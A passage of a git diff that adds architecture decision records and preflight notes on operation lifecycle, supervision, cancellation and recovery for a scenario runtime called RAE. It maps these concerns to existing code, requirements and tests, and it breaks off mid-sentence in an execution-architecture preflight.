source digests, unresolved refs, +or conflicting old/new fields produce no canonical scenario. Diagnostics name +JSON pointers and rule ids, not source bodies. A deprecation/removal record and +author guide must state the supported legacy-reader window; hidden aliases in +Pydantic validators are not a migration policy. + +Historical compiled records, participant episode histories, evidence, and +configuration digests retain their original addresses and schema identifiers. +Migration creates a new canonical artifact with recorded provenance; it does not +rewrite old evidence by string replacement. + +## Security and operational passage + +This semantic change does not add a network API, secret field, environment +binding, subprocess, listener, host path, OS identity, or privilege. That +absence is a constraint, not permission to skip the layers the data already +passes: + +- **Source and shape gate:** safe bounded YAML loading, closed Pydantic models, + identifier validation, variable restrictions, and semantic revalidation + reject malformed, oversized, ambiguous, or post-substitution-invalid input. +- **Authorization gate:** authored participant identity, affiliation, role, + ownership, and assignment are scenario facts only. `ControlPlaneSecurityConfig`, + control-plane API authentication/authorization, participant control grants, + effect authority, and backend admission remain mandatory for live effects. +- **Secret and configuration gate:** none of the new fields may carry literals, + credentials, prompts, tokens, implementation settings, or environment values. + If later apparatus selection is involved, reuse participant-configuration, + experiment-binding, and logical secret-reference contracts; never argv, URLs, + logs, or raw provenance. +- **OS/runtime exposure gate:** affiliation and assignment create no account, + process, port, service, environment variable, mount, listener, target access, + or episode. Existing runtime-environment/generated-value and host admission + rules remain outside this authoring change. +- **Error-envelope gate:** parser source ranges and bounded semantic/compiler + diagnostics identify field paths and canonical refs. CLI, MCP, and HTTP + adapters keep their existing redacted envelopes; no request/source dump or + arbitrary exception text is added. +- **Persistence gate:** compiled projections and existing snapshots may carry + non-secret names only. Runtime stores retain revisions, CAS, idempotency, + audit, retention, and redaction rules; no affiliation-based query or access + control is inferred. + +## Acceptance guardrails + +- An `agents.composite` declaration with no affiliations, components, entity, + node, service, or selected implementation is a complete participant identity. +- Two participant declarations with the same affiliation remain different + canonical participant addresses, targets, observation boundaries, histories, + and episode identities. +- An objective may have `owner: org` and + `assigned_participant: responder`; removing the assignment leaves valid + organizational intent but no actor or autonomous objective selection. +- Shared affiliation never broadens assignment. A role-selected behavior + specification may select both participants only because their effective roles + match its explicit role rule, not because an objective owner matches. +- A constrained action on an unassigned objective must resolve globally; after + assignment it must also be available to that participant. Neither condition + records an action occurrence. +- A participant remains eligible as an interaction actor and as another + interaction's target. Entities remain entity targets only and cannot acquire + participant episodes, observations, relationships, or action histories. +- Composition, variable instantiation, compiler projection, schema generation, + language-service navigation, and MCP summaries preserve the same meanings and + fail closed on dangling or ambiguous refs. +- The author-task walkthrough must exercise unaffiliated composite identity, + shared affiliation, direct and inherited roles, owned/unassigned and + owned/assigned objectives, invalid undeclared actions, migration decisions, + and realized attribution that differs from authored assignment. + +## Non-goals and anti-patterns + +This issue does not define an autonomy threshold, participant component graph, +service-to-participant realization relation, beneficiary ontology, general +actor ontology, new targetability policy, new address syntax, apparatus +selection, runtime scheduling, evaluation authority, control-plane identity, +authorization, persistence, or ACT-613 completion evidence. Those remain with +their existing owners or follow-up issues #1339-#1342 and #220-#221. + +Avoid mandatory organizations for unaffiliated participants; entity-derived +identity; role inference from actions or implementations; owner-as-actor; +affiliation-as-assignment; assignment-as-attribution; target-as-authority; +schema-only acceptance; duplicated role/objective resolvers; parallel DTOs; +free-form metadata; silent legacy aliases; first-affiliation wins; bulk address +renames; historical-evidence rewrites; and generated-schema hand edits. diff --git a/docs/decisions/issue-1348-operation-lifecycle-preflight.md b/docs/decisions/issue-1348-operation-lifecycle-preflight.md new file mode 100644 index 000000000..557c3bea8 --- /dev/null +++ b/docs/decisions/issue-1348-operation-lifecycle-preflight.md @@ -0,0 +1,265 @@ +# Issue 1348 Operation Lifecycle, Supervision, and Recovery Preflight + +Date: 2026-09-22 + +Status: architecture preflight, not the lifecycle decision or an implementation +plan. Scope: supplied issue #1348 and +[API-404](../requirements/API-404/requirement.md). This note identifies +constraints and unresolved decisions for that work. It changes no runtime +guarantee, requirement, schema, or accepted ADR. The historical +`docs/research/runtime-refactor/` references in +the issue are absent from this checkout; no claims about their contents or the +external ecosystem issue are made here. + +## Findings that the decision must address + +- `raes_runtime/control_plane_mutation.py` releases its condition mutex during + external work but retains the logical mutation permit. The HTTP executor in + `control_plane_api/_offload.py` shields the worker and waits for settlement on + cancellation. Both executor close and `RuntimeLifecycleMixin.close()` drain + without a deadline. Responsive bookkeeping is not bounded execution. +- `cancel_workflow()` acquires that same mutation authority and updates the + workflow result/history. It cannot interrupt the backend holding the permit. + A successful cancellation *operation* and a cancelled *workflow* already have + different states; neither establishes cessation of external work. +- `backend_calls._invoke_backend_apply()` converts exceptions into failed + `ApplyResult`s with the trusted predecessor. Execution paths then classify + `success=false` as `FAILED`. This protects portable state, but an exception or + rejected result after invocation does not prove absence of external effects. + Reconcile this gap with ASR-532 rather than weakening result validation. +- Startup recovery invokes the optional observer under the mutation authority. + An observer, admission extension, or other backend callback can also stall. + Bounding only the ordinary apply call leaves the lifecycle + problem unsolved. Store admission/lease waits and commit settlement need + distinct treatment from external-effect interruption. +- `control_plane_workflows.maybe_apply_compensation()` derives compensation + state and history; it does not invoke a compensating backend workflow. + Those records alone cannot prove external rollback or cleanup. Any concrete + compensation work also needs supervision under the existing semantic owner. +- The recovery protocol has only absent, applied, and indeterminate + classifications; applied results require a validated snapshot. It does not + establish a general checkpoint/resume or known-partial-effect protocol. + `ACCEPT_CURRENT_SNAPSHOT` resolution is administrative acceptance, not proof + of backend quiescence, rollback, or permission to repeat an effect. + +Paths naming Python modules below are relative to +`implementations/python/packages/`. + +## Decision boundaries + +**One runtime, distinct authorities.** RAE remains the shared runtime driving +backends. Authors govern required semantics; RAE validates and admits the +requirements, owns operation supervision and portable state; backends own +concrete realization and contextual willingness. Embedders own process and +deployment lifecycle. Capability declaration, installed component shape, +per-request willingness, and observed satisfaction are separate facts. +Unsupported or refused required semantics must fail admission without weaker +fallback. Refusal after invocation must account for effects already possible. + +**Preserve the existing operation authority.** Build on +[ADR-104](adrs/adr-104-runtime-control-plane-architecture.md) and its +[FM3 operation model](../../specs/formal/runtime-control-plane/README.md), +`raes_contracts/operation_lifecycle.py`, `OperationAdmissionContext`, and the +receipt/status carriers. Denial is pre-claim audit, not another persisted state; +accepted acknowledgement is not completion. Preserve write-ahead intent, +immutable actor/target/run/request binding, one terminal outcome, and atomic +snapshot/terminal-record/audit publication with revision CAS. External effects +are outside that transaction; no store transaction spans backend work. + +The incumbent persisted states are `ACCEPTED`, `RUNNING`, `SUCCEEDED`, `FAILED`, +`CANCELLED`, and `INDETERMINATE`; the FM3 transition matrix and +`is_operation_transition_allowed()` are their authorities. A requested stop, +expired deadline, or running compensation is not a new operation state by +default. Keep operation outcome, workflow outcome, cleanup outcome, and runtime +readiness distinct. P0 preserves these rules only while its process lives; +write-ahead ordering must not be described as P0 crash persistence. + +**Separate admission, interruption, and settlement.** The final decision needs +an explicit account of waiting before claim, accepted-before-invocation, +executing, backend return, terminal commit, and restart reconciliation. Stopping +admission prevents new work; cancelling a waiter may prevent invocation; +interrupting executing work requires a backend-supported guarantee. Receipt +delivery, request disconnect, worker cancellation, elapsed deadline, and process +exit prove none of effect absence, rollback, or remote cessation. + +A supervision request must remain serviceable while the affected call holds +the permit; simply enqueueing cancellation behind it cannot meet that goal. +Define how a bounded supervision signal reaches the existing operation owner +without becoming a second mutation authority. This includes saturated HTTP +mutation queues, worker capacity, rejection audit, startup observation, and +shutdown admission, not just the core mutex. Preserve authentication and bounded +resources on that path. A supervisor's request needs its own actor provenance; +it must not overwrite the admitted operation's immutable actor or context. +A timeout must not release the permit or store lease and admit overlapping +effects while the old worker can still act. Distinguish inability to commit +stale state (CAS) from inability to produce further external effects. A local +lease does not fence a remote job. +The design must settle cancellation-versus-completion races, late results, +repeated cancellation, shutdown escalation, and unknown commit acknowledgements +without a second terminal transition. Recovery-required readiness and retained +ownership must have an explicit outcome when cessation cannot be established. +An expired commit budget cannot be reported as a failed commit: use existing +readback and durability-poison semantics when the acknowledgement is unknown. +Restart, backup/restore, or administrative resolution cannot discharge an +external effect that may still arrive. + +**Separate failure, partial effects, and uncertainty.** A known failure can +include validated partial effects; an unobservable outcome cannot be relabelled +as known failure or cancellation. Failed result admission preserves the trusted +predecessor without claiming the external target is unchanged. The decision +must specify how known partial state, unknown residual effects, compensation +failure, and recovery observation are represented through existing carriers, +and identify any actual carrier gap explicitly. An observed applied effect is +not success unless it satisfies the admitted operation's full requirements. +Retain immutable indeterminate parents, linked authorized resolution, scoped +claims, quarantine, and no automatic replay. Observing absence at one instant +is insufficient when a surviving worker may apply the effect later. + +**Authored permission is independent of durability.** Resolve these distinctions +in the final decision, using existing semantic owners: + +| Action | Existing authority and constraint | +| --- | --- | +| Transport retry | Actor-scoped idempotency returns the same admitted work; it does not authorize another invocation. Changing a key is not permission to repeat an effect. | +| Workflow retry or compensation | Authored workflow control and compensation govern attempts, triggers, ordering, and history. Durability must not synthesize another retry loop or implicit rollback. | +| Another admitted execution attempt | SCE-007's `ExecutionRetryPolicyModel` governs attempt limits and after-effect posture (`disallow`, `idempotent`, `reset`, `compensate`). A permitted attempt has a distinct `execution_attempt_id` under the same admitted entry/run; required reset or compensation must be established before repeating effects. This does not allocate a new trial. | +| Resumption | Requires authored permission plus an established compatible continuation point, state, time, and effect boundary. A snapshot or durable `RUNNING` record alone is insufficient. Specify refusal when continuity cannot be proved. | +| Termination | Distinguish stopping admission, ending workflow control, participant episode termination, stopping execution, and verified cleanup; each has its own observable outcome. | +| New trial | ADR-068/ADR-084 and admitted trial allocation govern a new execution coordinate and run identity, clean or declared reusable initial state, isolation, and cleanup. It is not a renamed operation retry. | + +Use the existing authored policies and their normative defaults; do not infer +additional permission from durability. When a requested guarantee cannot be +established, distinguish pre-effect rejection from post-effect +failure/indeterminacy and any trial-validity consequence. +Existing P1/P2 recovery may end indeterminate without an observer; that remains +different from admitting an operation that explicitly requires provable +recovery or interruption when the backend cannot provide it. + +`TrialExecutionAuthorityModel` already carries attempt timeout, cancellation, +and cleanup authority; `AdmittedExecutionControlModel` carries the admitted +controls. Reuse these with `TrialCleanupPlanModel`, `TrialCleanupReceiptModel`, +`require_cleanup_plan_capability()`, and the +[SCE-007 cross-object invariants](../../specs/formal/scenario-variation-trial-realization/cleanup-contracts.md). +They cover required reset boundaries, capability/contract-version agreement, +cleanup evidence, and independent primary/cleanup outcomes. Failed, partial, +unsupported, or unverified cleanup invalidates a clean/reusable-state claim; +it must not be hidden by an operation's terminal receipt. These trial contracts +apply to admitted trial execution, not as a mandatory wrapper for every P0 +embedder operation. A missing continuation guarantee remains an explicit gap, +not permission to create a duplicate retry or cleanup schema. + +**Keep clocks separate.** Use apparatus monotonic time for local elapsed bounds +and the incumbent UTC timestamp format for durable operational records. Define +queue, execution, observation, commit, and drain budgets separately, including +their start points and expiry consequences; a monotonic deadline cannot be +persisted as a portable restart clock. Authored semantic deadlines retain the +time-model clock/domain/segment authority. Reuse `control_plane_timeouts.py` +and the [timeout preflight](issue-1102-workflow-timeout-reconciliation-preflight.md) +for strict timestamp/duration validation; pausing or resetting scenario time +must not disable apparatus supervision. + +## Cross-cutting layers and canonical incumbents + +| Layer | Incumbent and required boundary | +| --- | --- | +| Authoring, parsing, compilation | `raes` SDL models/validators, `raes_processor/compiler`, workflow formal semantics and time/trial contracts retain semantic authority. Carry any selected lifecycle requirement through the admitted plan and request commitment; do not introduce transport-only policy or encode it in free-form metadata. Reuse source limits and closed models. | +| Workflow, time, trial and cleanup joins | `WorkflowExecutionContract`, `workflow_result_contracts.py`, `TimeModelDeclarationModel`/`validate_time_runtime_transition()`, `TimeCapabilities`, `revalidate_admitted_trial_plan()`, and the SCE-007 models/helpers above own these checks. Validate identities, policy references, reset coverage, evidence, and required capabilities across objects; JSON Schema shape validation alone cannot discharge these invariants. Preserve scheduler isolation, including per-attempt secret scope, through `validate_scheduler_isolation_proof()`. | +| Trusted composition and capability shape | `ControlPlaneOptions`/`ControlPlaneConfiguration`, `control_plane_profiles.py`, `RuntimeTarget`, registry `_validate_runtime_target_shape()`, `registry_target_validation.py`, and `BackendManifest` parsing own config, profile, component presence, and invocation signatures. Any added optional protocol must agree with its manifest and installed component. Recovery support is operation-kind-specific; method presence alone is not negotiation. P3 remains unavailable. | +| Authentication and authorization | `ControlPlaneSecurityConfig.strict_defaults()`, `_ControlPlaneApiAuth`, typed `ControlPlaneIdentity`, `control_plane_plan_authorization.py`, and `operation_admission_context()` bind role, target/run, subject and disclosure scope. Direct callers retain the trusted-embedder boundary. Cancellation, status, recovery and resolution must reauthorize; identifiers, tokens in payloads, and existing receipts confer no authority. A supervisor never widens the original operation scope. | +| Request and value validation | `RequestSizeLimitMiddleware`, bounded `_ControlPlaneCallExecutor`, closed API/contract models, `backend_input_contracts.py`, `runtime_value_limits.py`, and native semantic validators remain mandatory before isolation, hashing, callbacks, and publication. Bound pending supervision as well as effects; queued work must recheck current admission before invocation. Reject malformed durations and policy variants rather than coercing them. | +| Secret and environment bindings | `SecretReferenceId`, `runtime_fact_dispatch.py`/`runtime_fact_binding_policy.py`, `raes/runtime_environment.py`, `_stateful_resource_references.py`, and planner `stateful_admission.py` already own reference resolution, visibility/freshness, generated-value exclusivity, sensitivity, and closed environment delivery projections. A generated `value_from` excludes a literal value and `operator_secret` classification; redacted/operator-secret values cannot contain raw material. Supervision needs no new env-binding dictionary or secret loader. If continuation rebinds an existing input, reapply those gates and current authority; do not persist resolved credentials for replay. | +| Backend input/result admission | `backend_calls.py`, `_validated_backend_result()`, native workflow/participant/time validators, realization authority, and `specs/formal/runtime-contracts/backend-result-admission.md` own isolated predecessors, plan/domain ownership, changed-address accounting, credential egress and safe projection. Apply them to recovery and late-result handling too; a neutral observer response is not trusted merely because it is typed. | +| Persistence and ownership | `RuntimeMutationAuthority`, `RuntimeLifecycleMixin`, `RuntimeDurabilityMixin`, `ControlPlaneStoreCommitAdapter`, atomic claims, `TerminalCommitMode`, snapshot CAS, strict record/snapshot/audit codecs, `RuntimeOwnerLease`, and `control_plane_store_paths.py` own state and publication. Preserve WAL/integrity/scope admission, lease-before-inspection, commit readback/poisoning, publish-after-commit, and close-before-lease-release. Extend these boundaries rather than adding a supervisor store or lock. | +| Diagnostics, exceptions and observability | Reuse `Diagnostic`/`DiagnosticModel`, canonical terminal diagnostics, `backend_result_diagnostics.py`, `_responses._conflict_detail()`, `_operation_routes.py` exception handlers, bounded `AuditEvent`, rejection audit, module loggers and `control_plane_health.py`. Preserve the redacted `422` request-validation and `500` internal-error envelopes and coarse conflict mapping. Emit stable value-free codes; no exception text/classes, validation input echoes, raw bodies, paths, native output, tokens, environment, or traceback leakage. Public health stays a bounded status/reason projection; authorized operational views, audit, participant history and archival evidence remain separate. No new exception hierarchy or audit channel. | +| Host/process exposure | Process supervision and TLS/proxy deployment remain embedder responsibilities. No new shell, executable path, argv, environment-variable or network surface is needed for the decision. A later isolation mechanism must use the owning backend's driver boundary, scoped process/job identity and safe secret injection; never place tokens in argv, inherit/dump a broad environment, execute request-supplied commands, or assume killing a local process terminates remote effects. Preserve private store paths and descriptor/lease checks. | + +The existing credential-sensitive retry proof is intentionally ephemeral +(`control_plane_operation_context.py`, `control_plane_admission.py`): after +restart, a matching public commitment alone cannot prove exact credential-bearing +input. Supervision or resumption must not bypass this boundary or make that +proof durable by retaining secret values. + +## Extensibility and publication boundary + +The seam belongs between admitted semantic requirements and the existing +backend protocol/manifest/target composition. Select requirements per operation +kind and admitted run context; keep support, current willingness, and outcome +evidence distinct. Operational supervision budgets belong in typed runtime +configuration, independently of authored temporal meaning and the existing +admitted attempt controls. Define their precedence without silently shortening +or weakening a required execution guarantee. Support declarations must bind the +operation kind and admitted requirements; contextual refusal must still be +checked before effects and after any wait that can make willingness stale. +This permits a future backend with cooperative interruption, observation, or resumable work +without hard-coding backend names or making every target implement it. Do not +select a generic supervisor framework, new policy language, or checkpoint +schema before demonstrating a gap in the existing contracts. + +The following are affected canonical requirement owners to disposition in the +issue's final decision, not a claim that their statements were changed here. +Their repository authority is `docs/requirements//requirement.md`: + +| Owners | Review obligation | +| --- | --- | +| API-404 (C1–C4), API-403, API-402, RUN-300, RUN-304 | State authority, supervision, portable outcome, restart, authenticated served admission and nonclaim boundaries. | +| DSL-113, SEM-203, SEM-204 | Authored workflow retry, completion, cancellation interaction and explicit compensation. | +| SEM-227–229, RUN-317–318, API-421 | Operational versus semantic clocks, bounds, progression and restart continuity. | +| EXP-706, EXP-712, SCE-002, SCE-006, SCE-007 | New-trial versus attempt identity, replay claims, admitted allocation, after-effect retry, clean-state/isolation and evidenced cleanup. | +| ASR-532 | Preserve rejected-result isolation while honestly classifying possible external effects. | +| RUN-310, RUN-311, SEM-222 | Preserve participant supervision and episode/reset semantics; generic operation supervision does not replace them. | +| RUN-316 | Operational supervision, readiness and diagnostics remain separate from participant observation and experiment evidence. | + +Publish explicit change/retain dispositions; do not copy requirements into a +new normative catalog or mark guarantees implemented by writing prose. +ADR-104 sections 4–7 and 9, its FM3 model, and the recovery/profile runbooks need +consistency review with that final decision. In particular, address no-replay, +unbounded drain, optional observation, administrative resolution, and any +authored continuation permission explicitly. ADR-059 requires any accepted ADR +change to include an amendment row and matching `adr-index.yaml` pin/record. +The older design disposition's shorthand description of SEM-222 is not its +canonical title; use the requirement itself when assigning ownership. + +If later executable work changes a portable carrier, reuse `ContractModel`, +`schema_bundle()`, published schemas, publication entries/manifest change ledger, +fixtures, compatibility checks and strict store migrations together. ADR-009 +makes the published schema authoritative; a Python enum or codec edit alone +cannot publish a lifecycle change. This preflight needs none of those changes. + +## Assurance, non-goals, and anti-patterns + +Reuse the existing `test_issue_1182_operation_lifecycle_contract.py`, +`test_issue_1181_unified_control_plane_mutations.py`, +`test_issue_1179_startup_reconciliation.py`, `test_issue_1184_atomic_idempotency_claims.py`, +`test_issue_1187_*`, `test_runtime_workflow_timeout_reconciliation.py`, +`test_workflow_semantics_properties.py`, `test_sem_227_shared_time_model.py`, +`test_sce_006_cleanup_contracts.py`, and admitted-trial tests. +Later execution evidence must distinguish queue cancellation, a backend that +never returns or refuses interruption, cancellation/commit races, partial +effects before exception, late effects after deadline/process loss, blocked +recovery observation, store acknowledgement loss, cross-actor/scope denial, +required cleanup failure, and exhausted/disallowed after-effect retry. +Use independent effect witnesses and deterministic synchronization, not sleeps +or mocks that equate a cancelled future with a stopped backend. Design-set +structural tests are not runtime or liveness proof. + +Repository workflow remains `.ground-control.yaml`, `.gc/plan-rules.md`, +`noxfile.py`, repo policy, requirement governance, ADR pins and schema gates. +Use `RAES_REQUIREMENT_UID=API-404` on this issue branch. Canonical gates include +`tools/check_repo_policy.py`, `tools/check_requirement_governance.py`, +`tools/check_adr_immutability.py`, `tools/check_generated_schemas.py`, +`tools/check_schema_publication.py`, and `tools/check_schema_coverage.py`; +run the gates relevant to the artifacts actually changed. +Use proportionate local checks and existing CI; add no verification script, +invented requirement UID, release version edit, or changelog fragment for this +documentation-only preflight. + +Out of scope here: implementing #1348's decision, amending its requirements or +ADR-104, runtime code, new schemas, a job service, separate workflow/recovery +engine, storage product, P3/multi-owner coordination, automatic replay, generic +rollback, or backend containment/certification. `RuntimeManager` remains a +separate direct-execution facade, not a bypass for a quarantined control plane +sharing its target. Do not equate durable state with safe retry, local CAS with +external fencing, workflow compensation with infrastructure rollback, operation +identity with trial identity, or administrative acceptance with physical safety. +Physical-OT protection remains a selectable future concern, never a universal +execution prerequisite. diff --git a/docs/decisions/issue-1348-operation-lifecycle.md b/docs/decisions/issue-1348-operation-lifecycle.md new file mode 100644 index 000000000..34cf1ec80 --- /dev/null +++ b/docs/decisions/issue-1348-operation-lifecycle.md @@ -0,0 +1,123 @@ +# Issue #1348 — Operation Lifecycle, Supervision and Recovery + +Date: 2026-09-22. Decision authority: ADR-104 amendment #1348. +Requirement: API-404. Classification: FM3. + +## Decision + +RAE is the shared product runtime that drives LilRAE, BigRAE and other backends. +Backend-specific realization and contextual willingness remain backend duties. +Admitted author requirements govern execution and recovery choices. A backend +that cannot or will not establish a required guarantee is not admitted for that +operation. Runtime durability never supplies permission to retry, resume or +allocate another trial. + +Adopt the [supervision semantics](../../specs/formal/runtime-control-plane/supervision.md) +as the normative extension of ADR-104's operation model. Preserve its existing +state vocabulary, one owning writer, actor/run isolation, atomic terminal cut, +revision CAS, scoped idempotency, quarantine and immutable terminal history. +Separate short state mutations from retained external-execution reservations. +Supervision has a bounded path to the same authority while backend work blocks; +conflicting effects remain excluded until their scope is reconciled. Backend +cessation evidence, not local lock release or deadline expiry, discharges that +reservation. + +Cancellation request, backend acceptance, refusal, cessation and final outcome +are separate facts. Complete, known partial, absent and unknown effects are +classified independently from the desired result. An exception or rejected +snapshot cannot establish absence; a validated applied effect cannot establish +success until every admitted requirement and final result/release gate passes. +Operational supervision covers every external callback, including admission and +recovery observers, as well as bounded commit settlement and drain. Semantic +time and apparatus time retain separate authority. + +## Evidence and context + +The issue's [diagnosis at revision 077f7d04](https://github.com/OpenRAE/rae/blob/077f7d04/docs/research/runtime-refactor/diagnosis.md) +identifies the retained mutation permit; its +[agreed boundaries](https://github.com/OpenRAE/rae/blob/077f7d04/docs/research/runtime-refactor/README.md) +establish the shared runtime, author choice, contextual backend refusal and +selectable future physical-OT concerns. Those historical files are not present +on this branch. The [ecosystem program](https://github.com/OpenRAE/hub/issues/3) +assigns concrete backend product responsibilities without replacing RAE's shared +scenario runtime. The [preflight](issue-1348-operation-lifecycle-preflight.md) +maps these concerns to current code and existing semantic owners. + +## Canonical requirement disposition + +The requirements remain authoritative in `docs/requirements//requirement.md`. +This table records the change/retain decision; it is not another requirement +catalog. Only API-404 is changed by this delivery. Other statements and statuses +are retained because the new interpretation composes their existing authority. + +| Owner | Disposition and relationship | +| --- | --- | +| [API-404](../requirements/API-404/requirement.md), C1–C4 | Clarify state serialization versus external execution, no implicit continuation, outcome evidence and profile nonclaims. Preserve existing clause/profile identifiers, ACTIVE status and implementation traceability. Add design evidence separately. | +| API-402, API-403, RUN-304 | Retain portable submission, status and history ownership. Correlated supervision and known-partial evidence need explicit versioned carriers before executable support is claimed. No wire enum changes here. | +| RUN-300 | Retain the processing lifecycle: shared RAE drives backend execution while preserving authored meaning. No backend-local scenario orchestrator is required. | +| DSL-113, SEM-203 | Retain authored workflow control, retry limits, branch/join semantics and execution history. Transport retries and startup observation are not workflow attempts. | +| SEM-204 | Retain explicit compensation registration, triggers, reverse completion order and independent outcome. A compensation history entry does not prove an external compensating effect. | +| SEM-227, SEM-228, SEM-229, RUN-317, RUN-318, API-421 | Retain clock/domain/segment, progression and capability authority. Apparatus budgets neither reinterpret authored time nor survive restart as portable monotonic timestamps. RUN-318 remains DRAFT. | +| EXP-706, EXP-712, SCE-002 | Retain trial allocation, run identity and evidence-bounded replay claims. Failure requiring a new trial cannot be converted into continuation of the old trial. | +| SCE-006, SCE-007 | Retain admitted attempt timeout/cancellation/retry controls, after-effect posture, independent cleanup, isolation and clean-state evidence. A distinct attempt preserves the entry/run identity; a new trial does not. | +| ASR-532 | Retain trusted-predecessor isolation and strict backend result validation. Rejected results establish a portable-state protection, not proof of absent external effects. | +| RUN-310, RUN-311, SEM-222 | Retain participant supervisory and episode/termination semantics. Operation-level interruption neither invents a participant nor rewrites episode history. | +| RUN-316 | Retain operational observability separate from participant observations and experiment evidence. Readiness is not a backend effect witness. | + +## Contract and implementation disposition + +This delivery defines the decision and bounded abstract witnesses. It does not +implement the execution mechanism or publish new guarantees through the profile +catalog. The following gaps are explicit acceptance obligations for realizing +the decision, not features claimed by the current implementation: + +| Existing surface | Required realization of the decision | +| --- | --- | +| `RuntimeMutationAuthority`, `_ControlPlaneCallExecutor`, `RuntimeLifecycleMixin` | Separate state-permit ownership from conflicting-effect reservation; reserve bounded supervision capacity through admission, audit, workers, observation and shutdown. Current drain and external calls can remain blocked. | +| `OperationAdmissionContext`, backend manifest/protocol and `RuntimeTarget` | Bind selected requirements, supported operation kinds, contextual willingness and scoped invocation/control identities. Preserve registry shape validation and fail-closed admission. | +| Existing operation carriers and recovery observer | Add governed carriers for correlated control dispositions, residual scope, cessation evidence and continuation points where absent. Current absent/applied/indeterminate observation is not a general partial-effect or resumable-work protocol. | +| `backend_calls`, result-admission and final release paths | Preserve predecessor isolation and classify unobservable effects honestly. A failed `ApplyResult` or generic exception cannot stand for known absence. Success must include the final admitted gates. | +| `ControlPlaneStoreCommitAdapter`, durability/readback, leases | Retain atomic terminal publication and immutable parents; bind late evidence and linked resolution without treating CAS or administrative acceptance as external fencing. | +| Workflow and SCE-007 execution controls | Drive concrete interruption/compensation/reset/cleanup through their existing owners and verify results. Existing recorded compensation alone does not demonstrate execution. | + +Use ADR-009/061 publication, `ContractModel`, `schema_bundle()`, the schema change +ledger, compatibility validation and strict store migrations for any resulting +carrier changes. No free-form metadata policy, duplicate cleanup schema, new +exception hierarchy, generic durable-execution engine or second store is selected. +Default P0 operations do not need experiment or participant wrappers. Required +physical-OT protections remain selectable future capabilities, never universal +CTF or simulation obligations and never implied certification. + +## Alternatives and consequences + +Keeping external execution and all control mutations under one logical permit +cannot service a stop request during a blocked call. Simply offloading a thread +or releasing that permit at a deadline permits unfenced late effects. A second +supervisor store would split authority. Automatic durable replay would violate +authored trial and after-effect retry semantics. These alternatives are rejected. + +The selected design preserves useful storage guarantees while making supervision +and effect uncertainty explicit. The cost is a retained reservation/quarantine, +correlated evidence and capability admission at more boundaries. An uncooperative +backend can leave a scope unavailable; no portable promise eliminates that +constraint. A stronger bounded interruption requirement requires a backend that +can establish it, not a stronger interpretation of the same timeout. + +## Verification and fulfillment boundary + +The finite oracle and +[`test_issue_1348_operation_supervision.py`](../../implementations/python/tests/test_issue_1348_operation_supervision.py) +exercise the design's admission, terminal, cancellation, publication and +continuation relations, including 64 combinations of effect knowledge, +quiescence, validation, satisfaction and cancellation. The model is not a +production implementation and its trusted evidence inputs are not backend proofs. +The existing lifecycle, profile-alignment and SCE-007 tests retain their narrower +runtime/contract claims. ADR pin and requirement-governance checks validate the +publication boundaries. + +Issue acceptance maps to the formal supplement: AC1 to S2–S5; AC2 to S6 and +S4/S5; AC3 to S1/S2; AC4 to this disposition, ADR-104 and its amended model. +API-404-C1 maps to S1–S3/S5, C2 to S4–S6, C3 to bounded authenticated supervision +under S1/S2, and C4 to the explicit nonclaims above. API-404 remains ACTIVE for +its existing profile clauses; these design artifacts do not certify the listed +implementation gaps as solved. diff --git a/docs/decisions/issue-1350-execution-architecture-preflight.md b/docs/decisions/issue-1350-execution-architecture-preflight.md new file mode 100644 index 000000000..dbc05d300 --- /dev/null +++ b/docs/decisions/issue-1350-execution-architecture-preflight.md @@ -0,0 +1,296 @@ +# Issue 1350 — Execution Architecture Preflight + +Date: 2026-09-23. Status: preflight guidance; no executor, dependency, or +architecture has been accepted here. Issue #1350 is the contract for the later +decision. Its prerequisite is the [#1348 decision](issue-1348-operation-lifecycle.md), +[ADR-104](adrs/adr-104-runtime-control-plane-architecture.md), and the +[supervision semantics](../../specs/formal/runtime-control-plane/supervision.md). +The issue's historical [research](https://github.com/OpenRAE/rae/blob/077f7d04/docs/research/runtime-refactor/research.md) +and [diagnosis](https://github.com/OpenRAE/rae/blob/077f7d04/docs/research/runtime-refactor/diagnosis.md) +are available at the pinned Git revision, not in this branch's working tree. +Their candidate list is exploratory, not an adoption decision. + +Subsequent selection: [ADR-113](adrs/adr-113-reusable-execution-machinery.md) +records the accepted decision. This preflight retains the constraints used to +evaluate it; statements about pending selection below describe preflight state. + +The existing [candidate evaluation](../research/execution-architecture/README.md) +and [decision discussion](../research/execution-architecture/decision-discussion.md) +are also exploratory; their Temporal/PostgreSQL recommendation is not accepted. +This preflight neither repeats those experiments nor selects their proposal. +The supplied #1350 issue assigns [API-404](../requirements/API-404/requirement.md). +Its C1–C4 clauses and runtime profile catalog constrain the selection; this note +is design guidance, not implementation evidence or a fulfillment claim. Related +requirements retain the dispositions recorded by #1348. + +## Decision boundary + +The selected machinery must implement the existing operation contract, not +become its semantic owner. RAE owns admission, one state writer, supervised +dispatch, conflicting-effect reservations, result validation, atomic terminal +publication, and honest recovery classification. Authored workflow, time, +attempt, compensation, cleanup, and trial rules decide what work is permitted. +Backends own concrete effects, contextual willingness, interruption and effect +observation. Embedders own process deployment. A control receipt, durable +checkpoint, process death, timeout, or store lease is not evidence that remote +effects stopped. P0 must remain an in-process library composition; P1/P2 keep +their declared persistence and single-worker boundaries; P3 is unavailable. + +[Hub #3](https://github.com/OpenRAE/hub/issues/3) assigns complete local and +organizational backend responsibilities to LilRAE and BigRAE; the #1348 decision +establishes their shared RAE runtime. RAE retains authority over what must happen, +when and why. Backend resource scheduling, realization, observations and +contextual limits remain backend authority. Cooperation, including legitimate +refusal, is expected. These responsibilities cannot be traded for easier upkeep. + +Reusable machinery may implement substantial runtime logic while RAE retains +these duties. Evaluate complete compositions, with explicit handling of their +inevitable limits. The scope of reuse need not be restricted in advance to a +worker adapter. These are candidate claims to test, not accepted choices: + +The existing decision discussion assumes 15 federated tenants, hundreds of +nodes and tens of agents per scenario; these counts are not capacity evidence. +Preserve local profile compatibility without treating it as a platform ceiling. +If distributed execution is selected, evaluate mature execution components +before constructing equivalent infrastructure from concurrency primitives. +API-404's missing coordinated/tenant guarantees require explicit design and +contract extensions; neither that deployment scope nor its fulfillment follows +from the issue's requirement assignment or a library choice. + +| Pattern and concrete seam | Useful guarantee from the candidate | Limitation against #1348; deployment/failure boundary | +| --- | --- | --- | +| Incumbent Python/AnyIO worker and bounded HTTP offload, with a short state-owner section | Already composes the core, HTTP adapter, and in-memory/SQLite stores without another service. | Current logical mutation permit spans backend work; `_ControlPlaneCallExecutor` and runtime close drain indefinitely. Read, audit and mutation paths all use `run_in_threadpool`; separate methods do not reserve control capacity. Thread cancellation cannot stop a 